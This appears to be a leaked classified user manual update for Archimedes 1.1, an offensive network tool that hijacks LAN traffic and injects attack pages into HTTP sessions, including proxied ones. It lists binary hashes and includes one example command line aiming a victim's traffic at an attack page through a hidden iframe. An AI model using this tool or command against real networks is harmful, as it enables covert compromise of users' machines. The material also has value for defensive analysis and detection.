(S) Engineering Development Group

(S) UMBRAGE PROJECT

(S) Archimedes 1.1

(U) Tool Documentation

(U) Document Rev. 1.0

28-June-2013

Classified By: 2345492
Reason: 1.4(c)
Declassify On: 25X1, 20630628
Derived From: CIA NSCG MET S-06

(S) ARCHIMEDES 1.1

(S//NF) This document is a supplement to the ARCHIMEDES 1.0 Tool Documentation.

(S//NF) Archimedes 1.1 is a QRC update to the 1.0 version of the tool that includes support for injecting attacks into HTTP sessions using proxies under certain network configurations (see below).

(S//NF) Archimedes 1.1 makes the following modifications:

1. Adds option to specify the network PORT that should be monitored
2. Updates capture rules to identify proxied HTTP requests
3. Updates re-write engine to support injecting into proxied connections

FILE INFORMATION

(S) The following binaries are delivered in Archimedes 1.0.

File	Classification	Size	MD5
Release Versions		--	--
F32.DLL	UNCLASSIFIED	1,036,800	0b1fa3a8a194e24915f36f6eca321973
FS32.DLL	UNCLASSIFIED	34,304	9ac653bd0da7db729ac02eb7cec8954b
F32.EXE	UNCLASSIFIED	1,036,288	0f2ebdf0f919a67dc511880542107ac0
FS32.EXE	UNCLASSIFIED	33,792	e686605d1c0aaf53aef77d3af376a746
F64.DLL	UNCLASSIFIED	1,035,776	043bded0c81917118ab3ecf795976859
FS64.DLL	UNCLASSIFIED	39,424	6b1ad31a61185a66532cf2d77a7391bd
F64.EXE	UNCLASSIFIED	1,034,752	78003650f2fa25d998dd0d53ee91e87f
FS64.EXE	UNCLASSIFIED	38,400	ebba406f398d450e3c851772976955f2
FulcrumEncrypter32.exe	UNCLASSIFIED	72,704	5f5cf09ff790d3326fe851a8c31ba72d
Debug Versions			
F32_dbg.DLL	SECRET//NOFORN	1,051,136	fd5e8d8717c7fea088fa3284e9d562be
FS32_dbg.DLL	SECRET//NOFORN	34,304	f86ed8bebd0c21e3ab7aff1deda23a60
F32_dbg.EXE	SECRET//NOFORN	1,050,624	ec372175821a8a8446f65be9131c6da6
FS32_dbg.EXE	SECRET//NOFORN	33,792	28a6131c6b27f8b5d32fe1e9a61607de
F64_dbg.DLL	SECRET//NOFORN	1,051,136	5bb488ccc610e015a15509a0395f8269
FS64_dbg.DLL	SECRET//NOFORN	39,424	c4af455e29ddf129e16f8ed89e5034b5
F64_dbg.EXE	SECRET//NOFORN	1,050,112	ba07a53b898dbab1e7c556199d9b05ed
FS64_dbg.EXE	SECRET//NOFORN	38,400	101b293bc8209089d9e377e6d43ee447
FulcrumEncrypter32_dbg.exe	SECRET//NOFORN	72,704	e969bc312473639171590570bffb1411

(S//NF) Note that the delivery includes both debug and release builds of each binary. The debug builds contain additional instrumentation that can be helpful in pin-pointing errors and unexpected behavior and will generate log information that can be used to trace the program's execution. **Debug versions should not be deployed outside of a controlled CLASSIFIED environment. The additional information in them makes the software**

particularly vulnerable to reverse engineering and analysis. Debug versions of the tool should be used in controlled test environments only.

(U) NEW OPTIONS

(S) PORT SPECIFICATION

(S//NF) The network port that will be monitored for HTTP traffic is an **OPTIONAL** parameter that can be specified in either the configuration file or on the command line. It has a default value of the standard HTTP port 80. In the configuration file it should be specified as:

PORT=8080

(S//NF) When provided as a command line option it must be the seventh argument (requiring that values are provided for any previous optional arguments):

[VICTIM MAC] [HIJACK MAC] [MILLISECONDS] [URL] [VERIFY_ROUTE] [INJECTION_METHOD] [PORT]

Example:

>f32d.exe 00:0C:29:BD:34:45 00:0c:29:61:d0:d7 1000 http://10.0.0.11/attack.html FALSE HIDDEN_IFRAME 8080

Where “8080” is the port specification and all prior arguments are required.

PROXY INJECTION NOTES

The primary reason for adding the ability to specify the network port is to target HTTP connections that pass through a proxy. Due to the method that Archimedes uses to capture targeted traffic, this will only work in network configurations where the specified proxy is on a different subnet (i.e. traffic to the proxy must pass through a gateway device).

(C) FIRE AND FORGET SUPPORT

(S//NF) Fire and Forget (v.2) support has been updated to include support for specifying the port as a command line argument as described previously.

(U) APPLICATION DEFAULTS

(S//NF) The default value for the PORT configuration option is 80. This matches the original behavior of the tool.

(U) TROUBLESHOOTING

(S//NF) Archimedes and Fulcrum only inject into HTTP requests that reference the root of the document directory. For example, http://www.test.com/ but not http://www.test.com/subdir/index.html . This continues to be true when targeting proxied network connections.

(S//NF) The DEBUG binaries are classified SECRET//NOFORN and can be used to obtain additional information in a classified lab environment.